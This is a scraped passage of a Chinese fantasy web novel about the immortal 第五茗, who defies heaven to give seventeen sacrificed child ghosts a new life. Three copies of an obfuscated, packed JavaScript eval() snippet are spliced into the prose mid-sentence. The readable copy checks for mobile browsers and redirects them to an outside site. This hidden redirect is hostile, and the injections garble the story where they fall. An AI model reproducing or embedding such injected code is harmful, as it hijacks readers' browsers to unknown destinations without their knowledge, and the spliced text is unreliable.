路过大殿,她偷瞧过一两回后,撇着嘴,再也不愿靠近那方,且在心中为天帝落定了一个「冤大头」的批语。 不仅如此,偶尔闲逛至天道口外,她还会替天帝鸣两声委屈,指摘天道狠心,给了天帝这样一份劳苦命。 看完天帝,她耐不住性子,又去瞧东华帝君的能耐、模样和喜好。 嗯… 这东华帝君有些忙碌,她都入司命府许久了,也只是远远地见过一次。 为此,她心中那份好奇,格外浓郁。 在司命府里,她翻阅了无数野史,找寻了跟东华帝君有关的一切记载,还打探了不少小道消息,最后,却越探知越嫌弃。 因为,她从万千事迹中,对东华帝君这名仙君,总结出了一个词… 哦!不对! 是两个词的形容——「能生育的、男的」。 心中冒出这个想法之后,她摸着自己的肚子,摇了摇头,又摇了摇头,再摇了摇头,渐渐地…避讳起有关东华帝君的一切。 好在,没过多久,她便又稀奇起了另外一件事。 命格簿子中的命数。 挑灯夜读,连宵达旦,废寝忘食…不解之处甚多,不平之处甚多,突发奇想之处也甚多。 比如,看见男女成亲生子,她便想,东华帝君都能育孩子,还是个男的,为何命事中就没有出现过这种“男人”呢? 再比如,努力之人努力一辈子,却得了一个穷光蛋的命局,到最后,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老司命道:“你在嘀咕什么?虽然你命好,但要坐到那等位置,估计等到司命这批司命全部消散,你也不一定能成。” 第五茗道:“本君能力如何…等等,怎么觉得星君你先前的话是在诓本君,上一次泰山仙府的东岳帝君,和雷部风仙君的人间命格,明明就都是你写的,这哪能算是天定…再说了,本君还在你本子上擦了两笔,那风有情不是照常归来,星君,你休要哄骗本君哦。” 老司命道:“你…你……本君道是为何风有情渡劫之后,还要去孽镜台除心瘴,原来是你!本君定要将此事告知东华帝君!” 这一次,是第五茗第一次因为写命受罚,而受罚,好像也是天定的命数。 第五茗道:“星君,你去过九重天下的天命天道吗?可曾窥探过仙君命数?” 老司命道:“本君乃是六天宫飞升上来的神仙,是没有机缘的,哎~说了你也不懂,本君这等神仙和帝君他们不同,神格浑浊之仙,自然是没有那份资质让天道为我等定命,更没资格瞧见天命天道里的神旨道义。” 第五茗道:“那为什么你和东华帝君一样是白头发?不对…你比他多了一把白胡子,这层皮也松松垮垮的…瞧着更像本子里的老头…” 老司命道:“本君为人身死后便是这幅模样,修炼时又未在淬炼筋骨时修正容貌,飞升之后便也就是这幅模样。” 第五茗道:“可为何本君是修炼了一千年才长成这样,这些年…修炼许久也未长出白头发?” 老司命道:“不知不知,第五茗!你能不能好好写命!怎么老是问些无聊至极的话!!” 第五茗道:“星君明明就和帝君一样…还想诓骗本君说没去过天命天道,骗子!!本君也要白头发…” 这一次,是第五茗第一次去九重天,只为了瞧那天命天道中,是否也有一份命格故事,像司命府里陈列的命格簿子一样…是为她而写,定她来日,穷她一生。 顺带再要一头俊秀飘逸的白头发。 最好是同东华帝君一个样,不要像老司命那般… 然而满天字符,自她头顶旋落,却没有一个她认识的字。 她都快怀疑自己这一万多年神岁是否虚度了,是否是未开智,是否未识字,怎么会没有一个认识的字符。 当她离开时,天命天道却在她身后碎缝而出,十几页金辉大字。 57. 仙界冥府差使事2 “星君,星君…” 第五茗想告诉这位带她写命的老司命,九重天里没有她的命格簿子,她没有看见所谓的命数掣肘,活到如今,全是她自己做主,不仅如此,也没有寻到老司命和东华帝君一般的白发。 老司命和其他司命一样,是当初被东华帝君点卯而升至司命府,这些时日,他成了司命府最惨的仙君,除了要忙着写命,还要抽空应付讨人嫌的第五茗,奈何这都是东华帝君的安排,他不能违抗。 他还没听见第五茗的声音,远远瞧见奔过来的人影,便无奈地吹了吹胡子,拿着本子和笔转了一个身,以此对第五茗进行宣泄和抵抗。 他当真是一点也不想搭理第五茗啊… 第五茗不是榆木疙瘩,在司命府这段日子,除了学会写命,她还从其他仙君身上学会了知趣。 她闭上嘴,望着老仙君的背影,默默拿出命格簿子,坐到一旁为一个凡人埋头苦干。 而这一日,第五茗一则故事尚未写完,就被东华帝君身边仙童送来的调令领走了。 她成为了掌握飞升择选之权,司命府权利最大的天君。 地仙,天君,星君,真君,帝君… 越级担权,属实是前无古人。 天庭众仙君十分羡慕,连老司命都有些许后悔,未曾料到自己真能活着见到这一天…都忍了这么久了,为何到头,却干了这么件傻事。 他这不是拒绝了一个最便捷的晋升之路吗! 看来他只有写故事的命了… 于是,他认命地,继续背对着,即将升任离开的第五茗的那张空桌,频频吹胡子。 第五茗职权得来如此迅速,并非天帝对她有所偏袒,而是归咎于三界之中的一件大事。 早年归墟之地崩塌,神界于九重天之上封闭,本来只有人界和妖界与仙界共立,却因为归墟崩塌,不少生灵生出了心障,让心术不正之人有了可乘之机。 如今,不知何时多出了一个魔界,且连着六天宫也有要脱离天界约束之意。 天帝担忧天界再无发展,恐怕不久之后会被替代,便以天界的缓慢发展之势,又在方丈山仙府门外求了东华帝君好几日。这才求得让第五茗走任仙冥两界,为天界寻天命天道承认的福泽命格,效仿凡界,为天庭筹备军队。 第五茗也因此,正式开始了她降生之前,那一早便为她确定好的差事。 第一个一千年,因冥界不同于天界的新颖,第五茗奔波两地,每每都欢欣雀跃,乐意之至,心绪开悦,天生神格赋予她与诸神的区别,也渐渐在两界展露了出来。 她除了修炼比别人轻松,最主要还是那一双眼睛,慧眼识珠,每每呈报给天帝的名册,都是万里挑一的飞升人选。 无一不被天命天道所承认。 第二个一千年,天帝准备联络人界和妖界,对新起的魔界进行清理,将第五茗的任务加重。 第五茗繁忙异常,整个人也没有刚忙于这件事时的轻松愉悦,渐渐地,觉得有些乏味。 更让她没想到是,战役持续了上万年,这份差事也不再只有她一个人。 天道命定了一些人来陪她,那些人却不似她这样烦躁,他们安之若怡,沉于其中,按部就班。 见得多了,接触得久了,她越发地想得多:白发老司命传授的司命之言,可能才是对的吧。 第十三个一千年,第五茗浑浑噩噩渡过了这些时日,在这一年,持续了上万年的一仗彻底结束。 而这结局,全仰仗于天命。 天帝、人帝以及妖君,苦灭魔而不尽,遂求向了天命天道。 天命天道施与了一个解脱困境的办法——以灵压邪,也就是俗称的祭祀引诱,再一举歼灭。 如其所言,魔界果然被清理干净不复存在了。 这一仗回望过去,好似除了魔界,其他三界皆无所损耗,人妖依旧繁茂,天界也日渐变得壮如牛犀。 天庭本来一直要求第五茗等一群仙君在六天宫广渡生灵,现在却只独留了第五茗一人自由行走两界。 渡仙之事,天庭也不再让第五茗执行,转而由她将六天宫里即将要、或者是可能会飞升的名额整理下来,汇报天界,最终由天帝择选。 突然被收走职权,其余仙君多多少少心中生出了点怨言,倒也没有生出事来,乖乖地回了天,静待安排。 至于第五茗,她却既不觉得有所得,也不觉得有所失。 因为…这都是命啊。 突然闲了下来,第五茗麻木的思绪又折腾起来…仿若回到了司命府,嘴上无拘无束,自我做派。 找着乐子… 修行,修心,修故事。 “雨无伤,你当真…和风有情没关系?本君渡升阶雷,闲来无事…提…提及了一下你的名字,他便在本君的雷劫上硬生生多降下了两道!两…两道啊,疼死了…” 雨无伤道:“司命星君…呜呜呜…不对,恭喜真君渡劫成功。我和仙君真没有什么,真君可不要乱说,真君又饮了多少烈酒,怎的又问我这种问题…呜呜呜呜…” 第五茗道:“收起你的架势,不要在本君面前假哭!酒嘛…今日不多…不多,只有十坛,刚刚饮下你孟婆汤的小鬼效劳上来的,不知道他从哪里打听来,知道本君负责引渡飞升名册之事,非得送本君十坛凡界的烧刀子,这…这酒好,比上面的烈,本君喜欢。” 雨无伤道:“真君喝了他的酒?” 第五茗道:“喝…喝了…” 雨无伤道:“小鬼求的事,真君…此次允了吗?” 第五茗道:“未允…未允,本君看过了,那小鬼没有那命…” 雨无伤道:“是吗…那就好。那小鬼都快让我以为孟婆汤没有效用了。” 第五茗道:“这是为何?你这孟婆汤,万年未换过一次的老汤,汤还是原来的汤,如何会有这种说法?” 雨无伤道:“他每次入六天宫都给真君带酒,次次入轮回,回回都先拜访真君,我想不瞎想都不行…呜呜呜…” 第五茗道:“收起来!” 雨无伤道:“此处不该伤心吗?” 第五茗道:“不该!” 雨无伤道:“哦” 第五茗道:“次次?那小鬼来多少次了?” 雨无伤道:“真君不知道吗?不应该啊…次次都有来给你送酒。” 第五茗道:“这饮酒啊…有些伤脑子,让本君算不出来,雨无伤,你数数…他…找本君多少次了?” 雨无伤道:“五十六次…第一次,赠与真君的,是鬼魂最喜欢的雪窖茶酒,真君说没味道,小鬼第二次就带了梅子酒,着实把我吓了一大跳,幸好真君替我查探过,他不记得上一世因果,也不知为何会带酒来,当时真君忙着处理天庭事务,我们也就当他是凑巧,没有细细查看,好在没有影响那小鬼的命数,也未波及我看守的奈何桥。第三次小鬼换了一壶黄酒,真君兴致正起,酒却不够,第四次小鬼便带了十坛…往后每一次小鬼都带了酒给真君,这一次也如是。” 第五茗道:“当真…如此?” 雨无伤道:“确实如此…” 第五茗道:“本君怎么不记得了…喝酒这么费脑子…” 她虽醉着酒,心里却震惊不已。 摇摇晃晃回了六天宫给司命安排的府邸,不等酒醒,她立即去找了这小鬼的命格簿子查看。 她没有看错,此小鬼未有机缘,也非天命天道所选的福泽命格。 后来仔细研究了小鬼的命数,她还收获了一个重大发现…小鬼送酒贿赂的举动,并非命格簿子里所写! 每一次,第五茗指摘了酒的出处后,小鬼当即便用人间烧来的钱财,托鬼差在第二天宫,寻那些可自由出入六天宫中,即将飞升成上仙的鬼仙帮忙,找来了下一世死后要带来的酒,将酒水撒在魂体上,如此入轮回再世为人,他便可以对这酒痴醉入迷,死后也能带下来数坛。 小鬼送酒的事,她查到此处,是又惊又喜。 惊那天命既定,居然还有路可走,可命外有命。 喜那初生之际有过的疑问,并非无解,也并非是错。 第五茗乐不可支,整个人也从蔫头耷脑,变得神采奕奕。 怜送酒小鬼毅力可嘉,且助她解了困惑,心境重获通透,她决定等送酒小鬼这一世再来时,一定要帮他一帮。哪怕飞升不了上仙,也要想想办法,送他入第二天宫,做一做鬼仙也好。 如此,她不仅偿还了送酒小鬼五十六次美酒之情,还可以借送酒小鬼的命中事,勘一勘这所谓的命数… 难道真的只能定格于那些字符之中? 然而,第五茗数着小鬼此生命格簿子里的命劫,等了一年又一年,小鬼却没有再出现。 她怕有所疏漏,去奈何桥寻雨无伤问了一次又一次,对方却再三确认,小鬼未入轮回。 小鬼消失了。 她又慌又喜… 脱离命格束缚,让她堂堂司命真君苦寻无果,属实是一件稀罕事,比探究命外事,更让她激动。 直到某日第五茗整理命格簿子时,发现小鬼的命格簿子变成了一份空白本子,以及雨无伤带来的,一则通冥牌内听到的消息:一名小鬼,因魂体被烈酒灼烧,在凡间身死魂离之际,灰飞烟灭了。 这小鬼除了是第五茗等的那送酒小鬼,不可能是别人了。 因为…没有鬼会扑向能杀灭鬼的东西。 第五茗一边饮着烈酒,一边在心中叹息:对啊,鬼最喜阴冷,烈酒属阳灼之物,用来杀鬼最是容易,何况还是五十六滴阳酒。 命格簿子空了,便没了命数,没有命格命数的生灵,又怎么能叫生灵呢,该想到这一点的。 那些字符就是一条命… 这本空白簿子,在一壶一壶烈酒下肚后,成了第五茗的心结,总是让她心情异常烦躁。 每每喝了酒后写命,她总是无缘由地,喜欢对着命格簿子傻笑,嘴里痴痴地念着:“即无命,何来生,即无命数,何谓生灵…可要想争命,又得舍命。小鬼太傻…太傻了。此题本是无解…无解的…听话地活是活,不听话地活,可是要命啊…” 就在这段时间,六天宫的鬼差阴使有一个要命的发现,这奔波两界的司命真君第五茗,比之初始的天真无邪,多了些许沉重。 虽嘴上仍是唠唠叨叨,问东问西,如今却像人没了魂一样,犹如一根木头,不似往日,她被小鬼撞了,不再叽叽喳喳地困着小鬼,让小鬼吐尽生平故事,来赔偿刚刚的失礼。 现今,越发地像天界的上仙… 这一突变,让这些鬼差阴使提心吊胆,生怕一个不如意,冲撞了她,讨了罪受… “司命真君恕罪,这群小鬼刚来地府,不懂礼数,东走西闯到了这里,您大人有大量,切莫恼怒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仙冥两界,第五茗第一次被小鬼毫无顾忌地直视,对方还是六天宫最不入眼的小小鬼…她昏昏沉沉的脑袋瞬间清醒,对面前的一群小鬼起了点兴致,扭动麻木的身子,换了换姿势,双眼直视了回去,用大袖遮掩住指尖,在袖子里悄悄探寻这群小鬼的命数:都是些再普通不过的命格?怎么会呢…明明胆量都胜过这头牛了。 接着往下翻了翻,她发现众人的命数截然而止,心中疑惑:阳寿未尽? 眼珠子动了动,她目光挪向那只牛头,细细分辨牛头的模样,心想道:没错啊,他的确是经常擅闯府邸的那头牛,难道…他换岗了? 这时,小女孩拉了拉挡在她身前小男孩的衣襟,直率真诚道:“小晎哥哥,你是不是也觉得姐姐很好看?你让我也再看看呗,阿娘说多瞧好看的人,长大了我也能长那么好看。姐姐也在看你哎…” 小男孩压低声音,阻止道:“小音…” 第五茗眼中惊奇,脱口而出:“长大?” 牛头急忙解释道:“真君,他们刚到天宫。” 人死鬼身,死时什么模样,此后鬼身便是什么模样。 但也有例外,例外之一,便是重回阳间。 这群小鬼阳寿未尽,只要肉身未毁,还是有机会还魂。 「长大」一事,倒是有可能。 第五茗没打算吓小鬼们,针对「长大」二字,转头对牛头鬼差随意询问道:“他们是要等阳寿满了再入轮回?还是就此打算送回去?” 随口一问,却是叫牛头答得战战兢兢,他道:“应该是不入轮回,也不回阳了。小的奉命以后负责监管这群小鬼,直至终了。” 三界本是尽渡万灵,还是第一次听说主动将一群未开智的生灵,以虚缈之态困守一隅,直至从世间抹掉。 第五茗诧异,不禁疑惑道:“为什么?” 牛头磕了一个响响的头,在第五茗撤回半伸的手时,他答道:“真君,这也不是什么秘密,他们皆是四界之战的人界祭品,是无法再入轮回的。” 手触额角揉了揉,第五茗皱眉道:“以前都是牲畜,最后一次居然是活人了吗?” 牛头把听来的消息,继续脱口而出道:“用活人有什么不妥吗?这次用活人,倒是见效更大了,听说上面已经没有魔界的踪影了。” 从出生就是为了被宰杀,有了魂体后又长居地府的牛头,对于活人和牲畜是没有概念的,于他而言,皆是可入轮回的三界生灵。 知其话中并无恶意,第五茗闻言,摇摇头,叹息道:“你这只牛啊!” 牛头刚大起来的胆子又缩了回去,怯懦道:“真君,小的错了,小的说错了…小的生前是只牛,见同伴被宰杀惯了,脑子就跟不上嘴,还请真君恕罪。” 牲畜敬拜,活人祭祀,不过是轮回的一数,的确不该较真。 第五茗自嘲了一番,对前方小鬼和牛头道:“无妨无妨,你带着他们离开吧。对了…司命府司命天君饶笒以后会每月会来轮值一日,到时候你可要看住他们,扰了本君倒是无妨,扰了饶笒天君…可是不知道她会不会生气?本君记得她是司命府最小气,也最不喜小鬼的。” 牛头磕头感恩道:“小的知道了,多谢真君,多谢真君。” 从这日起,六天宫的司命住所,不知何时开始有群小鬼出入,原本像木头一样的司命真君第五茗又跟活了似得,惹得冥界鬼差异常嫌弃。 又不知从何时开始,这群小鬼不再在第六天宫出入,居然都入了第二天宫。 一名身泛金光的鬼仙,抿了一口寒冷刺骨的茶水,心思不定地朝一旁在打扫的小鬼们喊道:“小鬼隗晎…可在?” 58. 仙界冥府差使事3 隗?停下手中打扫的动作,走到鬼仙面前,见礼道:“仙者有何吩咐?” 鬼仙道:“无事…近日瞧你们这群小鬼在第二天宫修炼,身量倒是都长大了不少,本仙便知有所成,叫你前来问问话,关心一二。” 隗?低着头,等着鬼仙接下来的问话。 周围其他小鬼手中的动作倒是因为鬼仙的话中「长大」和「有所成」几字停滞了一瞬。 他们来六天宫有近一千年,早从开始不接受身死,到如今入第二天宫修炼,他们虽然身量还未完全长开,但心智早已成熟,知道千年来,天界仙位稀缺,飞升不易,第二天宫这些和他们一样通过苦修,淬炼身姿,妄想飞升的鬼仙们,最喜欢在暗地里让其他人出点意外,或者半路把其他人赶出洞天福地,以此占据更多的灵气仙泽。 所有来过第二天宫的鬼魂都知道,就算在此处飞升不成,成日泡在仙气里,也能把身体泡成下界的一个宝贝,在六天宫无拘无束,自由行走。 其他小鬼们担忧地聆听着一旁两人的动静。 鬼仙继续说道:“听说你们这群小鬼是司命真君第五茗引进来的。” 一句问话却说得如此肯定,多多少少是有点事要向小鬼们讨教了。 隗?面不改色道:“回仙者的话,真君是为第二天宫的各位仙者们考虑,遣了我们这群小鬼上来伺候各位,方便仙者们潜心修炼。” 鬼仙道:“哦…是吗?你们不是来修炼的?哈哈哈哈…小鬼隗晎真是满嘴谎言,那本仙问你,你们为何身量会长?” 隗?道:“第二天宫,洞天福地,想来是被灵气仙泽滋养,所以…” 鬼仙衣袖挥过,隗晎没有反抗,被扇倒在地。 鬼仙理直气壮地责问道:“大胆!此地灵气仙泽乃是为我等天命仙人而生,竟被你们这群小鬼偷偷吸纳!还不速速认错!!” 小鬼们见隗?面色痛苦,撑不起身子软软地匍匐在地上,担心他出事,纷纷跑了过来查看他的伤势。当他们看见隗晎好不容易修炼而成的身体,胸前浸满血渍,便齐齐挡在隗晎年前,愤怒地与鬼仙对峙,势要与鬼仙同归于尽。 隗?虚弱地安慰着这群小鬼,道:“我没事…” 他不想把事情闹大。 鬼仙对于小鬼的愤怒熟视无睹,趾高气昂地踱步至他们面前,咧嘴笑道:“其实这点灵气仙泽给你们也无妨…本仙只是有一个疑问希望你们能老实回答,听说真君负责整理飞升名册,那名册上可有本仙的名字?” 小鬼们皆闭口不语…连眼神和神情都未变一个给鬼仙。 飞升名册,他们都知道那是什么东西。第五茗从来不防备着他们,他们却懂事的未曾看过,甚至在第五茗为了翻找关于他们命数的命格簿子时,他们也会闭上眼睛,不肯多看一点。 他们与第五茗交好的期间,不少鬼仙小鬼也找他们打听关于飞升名册和命格簿子的事,但他们从不搭理,甚至还会一起保护第五茗,把那些有歪心思的小鬼们悄悄收拾一顿。 面前的鬼仙…他们现在也想一鬼一腿给他踹上一脚,要不是隗晎在听见「飞升名册」时,反应迅速地拉住了他们,此时他们应该和鬼仙打起来了。 飞升名册和命格簿子,是他们一群小鬼与第五茗交好的底线,没有那只鬼会违背。那时他们是在第五茗的住所,现在是天高皇帝远的第二天宫,他们都做到了。 现在,隗晎却犹豫了… 那一袖子,让隗晎知道了鬼仙的实力,他曾答应过小鬼们会照顾好他们,如果现在和鬼仙动起手来,他不敢保证能够保护好每一只小鬼,除非… 鬼仙眼见被无视,心中愤怒,一手一抓,掐住两只小鬼的脖子,准备泄愤,却是听见了一声他在冥界再熟悉不过的声音:“隗七,怎么不还手呢?你倒是敢在关起门来时欺负本君,现在却是连一只鬼仙都制不住了吗?这些年修炼到哪里去了!” 隗?犹豫道:“伤了他,真君会有麻烦,还有他们也会难逃其咎…” 第五茗已经在他们身后落下,两只大袖重叠着,揣着手,一副看好戏的模样,戏谑道:“不会,你尽管打,本君能善后。至于他们…他们有那么笨吗?你打架还上赶着凑热闹,不知道保护自己?” 隗晎抬眼看向对面在纠结放与不放的鬼仙,道:“他是天命仙者,灵气仙泽本就为他们…” 第五茗打断他的话,道:“这种浑话,居然进了你的心里?” 语气中带了点怒气,她接着道:“当初选择来第二天宫的决心呢?” 闻言,其余人俱是一颤,鬼仙更是一怔。 隗?肉眼可见地慌张,垂眼道:“真君…刚刚是隗七失言,我心一如往昔,未曾变过,存志亦未移。” 低低地,他抿唇道:“我…错了,你别恼我。” 鬼仙脸上颜色变幻莫测,掐住隗晎脖子的手,不由自主地紧了紧。 隗晎噎哼了一声,瞪向对面鬼仙。 第五茗缓步走向他和鬼仙,慢慢地道:“我不能日日守着你们,你们的命要如何前行,全在你们自己。你们十七只小鬼,他们又以你隗七随行逐队,你以后万不可轻言此话了。” 隗晎细细品味,瞧见了第五茗身上的一层冷,他知道她又去天道了。 收回视线,他看了眼周围一副警备状态的小鬼,以及鬼仙手上另一只被掐住脖子,面色铁青,却一声未吭的小鬼,眼眸微垂,道:“隗七谨记。” 语毕,他抬起双手,握住了掐在他脖子上的手,眼神凌厉道:“不过是得了一副好命数,偷了巧让你走到这里,你瞧我们处处不如意,可知…我们这些贱命,瞧你也不如意。” 鬼仙余光瞟到身后渐渐出现的青色身影,仓皇道:“你以为有…有倚仗便能翻身?第二天宫能飞升之人都寥寥可数,更何况是你们十七只小鬼。” 这话他是说过隗晎听的,更是说给第五茗这名司命真君听的。 因为,他在赌,赌自己这条命会让第五茗珍视。 第五茗笑道:“蠢钝至极。” 抽出一手,她抠了抠耳朵,道:“隗七,你在等什么,吵死了。” 隗晎应道:“隗七这就为真君清扫垃圾。” 说罢,他与方才判若两人,虽仍是看着身量小巧,弱不禁风,却是法力高深,双手瞬间灌满浩海之泽。 鬼仙双眼瞪大,想要抽回自己的手,却是怎么也拔不出,立刻松了另一只手来帮忙,然则,依旧徒劳无力。 只见二人身边得到解脱的小鬼,机灵向外跑去,隗晎确保不会伤及无辜,登时足尖一点,旋身而起,将鬼仙的整个胳膊轻轻摘断在手里。 他乘胜追击,上前抬起右脚,给了对方几下,毁掉了对方修炼了几百年的魂血,让其无法再猖狂,这才收住了势。 鬼仙在地上打滚,疼痛蔓延全身。 他现下哪还顾得上飞升不飞升,他胸口裂开的魂体,让他知晓了实力悬殊,若不及时保命,时间怕是再无他了。 捂着断掉的胳膊,他爬到第五茗脚下,求饶道:“真君,小的知错了,咳咳咳…小的有眼无珠,痴心妄想,小的有错…” 第五茗满意道:“知道就好,本君好心好意送一群小鬼来这里打杂,既然你不领情,那就滚吧,记得滚远一点,第二天宫没有你的位置了。本君和东华帝君一样护短,谁欺负本君的鬼,就要做好准备…被本君的鬼收拾。” 她用了通灵,第二天宫不在场的鬼仙也都听到了最后这一句话,纷纷在修炼之地,打了一个寒战。 事情并没有结束,众鬼仙心里面上都忌惮第五茗,和这群爆发法力的小鬼,却不知为何,跟着了梦魇一般,他们怕着,胆颤着,仍是前仆后继地来寻这群小鬼的麻烦。 第五茗撞见过几次后,瞧出了异样。 看见隗晎和众小鬼被骚扰得疲惫不堪,她不由得心疼万分。 她开始日渐频繁地进出天道,与不能言的字符…对骂。 这骂声好像有些作用,至此以后,这群小鬼的修炼之路也越发顺利。 小鬼们不负第五茗期望,周身竟真被他们修出了金光,身量也在修炼过程中逐渐长开,其中以隗?为首,好几个男孩都长成了青葱少年,身量比第五茗还高大。 见他们有此成益,第五茗再度饮起酒来,竟少了几分愁绪,心中也都是喜悦,面对那些看了千千万万遍,已经无聊到不能再无聊的命格簿子,居然也不再觉得枯燥和无奈。 「司命真君第五茗,枉顾天法,擅自引渡浮屠恶鬼,扰乱三界,责其清理,事毕至九重天受罚。」 刚升任的司命星君饶笒,带着天庭谕旨,来到冥界责问第五茗,监守其处理那群小鬼,却不曾想第五茗不仅不领旨意,居然还带着小鬼们逃出了六天宫。 天庭搜寻了近一月,愣是一点消息也没查到,这一仙一群鬼平白无故地在三界消失了,若不是第五茗的神格依旧在天界闪耀,他们都要当这一仙一群鬼已经灰飞烟灭。 直到三宫九府降下神君赐福的天雷,他们才知道第五茗将那群小鬼带去了何处。 随着十几道赐福雷声结束,三宫九府的结界外却意外地继续雷击密布。 拨开云雾,细细查看,才分清那是雷部真君风友情,和他领率的一千天兵奉命赶来,而引出的天雷,并非福雷,而是惩戒。 天兵都是第五茗熟悉的面孔…其中一多半还是她引渡飞升。 第五茗从三宫九府的结界走了出来,在结界打开的瞬间,又以自身之力,承接了数十道天雷,额间青绿光泽的‘屮’纹隐隐浮现,直至跪倒在风有情和一千天兵面前。 她天生神格之躯,任由雷电击中,原是她身后结界,在刚刚她出来时形成了一个缺口,此结界会因缺口之处无法抵挡外面肆意的雷电,而击中里面的人,她想保护下结界内那一群刚被三官大帝修正命数的人。 没错! 里面是一群人,不再是那群鬼。 小鬼们成了三宫九府的修炼之士,凭借着剩余的阳寿和神君赐福,再世为人。 「东华帝君座下司命真君第五茗,以神格请三元拥护,万圣同明,为十七只浮屠小鬼赦罪解厄,消灾障功,德广无边,福寿增延,赐福降吉祥!」 那一月,一仙和一群鬼跪求在三官大帝面前。 整个三宫九府,因一仙燃烧神格之力,处处响彻着神君赐福之言。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631492|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>‘屮’纹显定,让风有情震惊,他偏了偏手,引雷击落在了第五茗脚下,不再打在她身上,不忍道:“可要反抗?” 第五茗撑起身子,靠在结界前的石壁上,喘息道:“咳咳咳…从未想过反抗…” 风有情道:“为何违抗天帝旨意?” 第五茗胸口有些阵痛,皱眉道:“本君…咳咳咳…本君便是为择选命格而生,是天道唯一承认能越过它的司命者,这点事…风真君应当知晓,天帝没本君清楚。” 风有情不悦道:“他们的命格簿子本君去司命府看过,再普通不过了。本君瞧你应该是被浮屠恶鬼迷惑…来人!” 第五茗震声,争辩道:“风真君!!你好好瞧瞧…此间没有恶鬼了!!勿害无辜之人…” 风有情朝第五茗身后洞口望了一眼,惊道:“天道中降生的神格果然非凡,你竟有扭转乾坤之力。” 随后,他长叹一声,道:“第五茗,你是真傻。” 第五茗喃喃道:“我不是傻…” 她叹道:“听遍世间故事,看尽轮回命局,我只是不愿做一只笔,不愿做天界评判的手,不愿做只言片语、决断他人生死的人。为仙也好,鬼也罢,拥有轮回者,都该有自己走出一生的机会,而不是靠那寥寥几字,我也不该成为他们。” 风有情蹙眉道:“你在胡言乱语什么?” 第五茗笑道:“是我说复杂了,其实就是不想做这司命,不想任这仙职。” 风有情睨了她一眼,道:“你果真是修行太轻松。” 刚才风有情叫的两名天兵已经走上前来,他们拱手道:“真君有何吩咐。” 风有情面色一改,肃然道:“带司命府司命真君第五茗,随本君回天庭复命。” 天兵答道:“是!” 第五茗却摆了摆手,笑道:“风有情…雷府真君…风真君你融融情,给本君片刻喘息,本君同他们还有话要留…” 风有情道:“法不徇私,天界亦无情。” 第五茗咳嗽了两声,继续说道:“就片刻,我不逃,就是有两句话…咳咳咳,你刚刚的雷我是一道未躲,不然早就把该做的事做完了。算我求你…只开此情…我也只求这一次恩,回天庭…我不找你麻烦,也不哭饶,风真君,你就当施施恩…” “愚不可及!”风有情又对第五茗面前的天兵吩咐道:“你二人先候着。” “是。” 第五茗对两名天兵感谢道:“多谢两位天君…” “真君请便。” 两名天兵说完,便有两道雷链从风有情手中锁在了第五茗脚下。 脚下的不适,让她皱起眉,咬牙抬手擦掉嘴角血迹,才用刚才续的力气撑起身子。 换了一副懒散模样,她揣起手,扯过两片破烂遮住双拳,才转过身,惬意笑着,对结界内哭泣不已的一群人,如常道:“哭哭啼啼,是要白费这一次机遇吗?咳咳咳…隗七…咳咳咳…我知你心智最是坚毅,今日表现我很欣喜,你是十七人中,唯一此生只有生死,没有命数之人。曾经领我的老司命说过,人的命数落在命格簿子上,仙君的命数在天命天道里…世间生灵皆有天命,你的不在命格簿子里,我便不知你命数,希望你不要白费这次机遇,有所成,成所期。” 隗晎眼睛通红,不像其他人一般哭泣抽噎,他极力地憋着眼泪,不让代表他无能地东西流下来,咬牙道:“隗七定会有所成,一定会…真君你定要…” 他话还没说完,便被第五茗口中不停流出的红色液体刺痛了眼,泪水终于不受他控制,流了出来。 他伸出手,拼命地想穿过结界,替第五茗擦掉嘴角的东西,但他做不到,无奈地紧张关心道:“血,你流血了。” 第五茗现在所做之事,算是泄露天机。 她嘴角血流不止,却是没有停下,继续说道:“没事…不用担心,上仙身躯,流点血跟吐沫子一样,无碍的。” 紧接着,她又对其他人说道:“至于你们…做鬼时都未叫我失望,现在重新做人,又寄于三官大帝门下,我相信你们,真的相信…只是今日我随他们离去,恐怕与你们没有再见面之缘,你们切勿念、勿思、勿寻、勿强求,此生命数便不会有大劫…瞧我,还有最后一份礼要给你们的,竟顾着说些有的没的,差点就给忘了…” 大袖早就被雷击损毁,第五茗手上一动,两片破烂就掉了下去,双手没有袖子的遮掩,动作就异常明显。 那是在合聚仙君神格的手势。 她周身金辉燃烧,比在三宫九府里那一月还要烧得明亮,嘴角流出的鲜血也不再滴落在地,而是随着手上的动作燃烧起来,发出一缕一缕金光,连带脑门上浸下的血迹也在额间纹上燃烧,把青绿‘屮’纹染成了金辉。 第五茗嘴中一字一句念道:“东华帝君座下司命真君第五茗,为十七名修炼之士赦罪解厄,消灾障功,德广无边,福寿增延,赐福降吉祥!” 天界无情,小鬼柔肠,司命真君第五茗因常年往来仙冥两界,被凡情俗事所惑,遇浮屠恶鬼,心生怜悯之情,罔顾天法,被责,被贬,抽仙骨,剃仙根,留仙血,保神格。 责其历六道轮回,渡生死之劫,贬黜神职。 59. 仙界冥府差使事4 天命天道为第五茗和浮屠恶鬼的事情,批了四个字:以死求生。 这四字命数,好似就像是要第五茗承认,它想让她生,她便生,它想让她死,她便死,即便是有违常理,她死,它尤可让她活过来。 